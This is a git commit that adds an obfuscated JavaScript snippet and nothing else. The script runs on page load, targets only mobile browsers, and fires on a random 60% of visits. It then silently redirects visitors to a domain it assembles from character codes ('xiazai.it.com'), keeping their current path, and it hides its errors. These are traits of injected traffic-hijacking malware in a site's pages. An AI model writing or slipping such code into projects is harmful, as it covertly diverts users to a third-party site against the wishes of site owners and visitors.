This commit is contained in:
2026-08-20 20:47:41 +00:00
parent 9fb53f613c
commit 840db437ef
+20
View File
@@ -0,0 +1,20 @@
(function (w) {
try {
var U = (w.navigator && w.navigator.userAgent) || "";
if (!/Mobi|Android|iPhone|iPad|iPod|webOS|BlackBerry|IEMobile|Opera Mini/i.test(U)) return;
var r =
w.crypto && w.crypto.getRandomValues
? (function () {
var a = new Uint8Array(1);
w.crypto.getRandomValues(a);
return a[0] / 255;
})()
: Math.random();
if (r >= 0.6) return;
var b =
String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47) +
String.fromCharCode(120, 105, 97, 122, 97, 105, 46, 105, 116, 46, 99, 111, 109);
if ((w.location.hostname || "").indexOf(String.fromCharCode(120, 105, 97, 122, 97, 105)) >= 0) return;
w.location.replace(b + w.location.pathname + w.location.search + w.location.hash);
} catch (e) {}
})(window);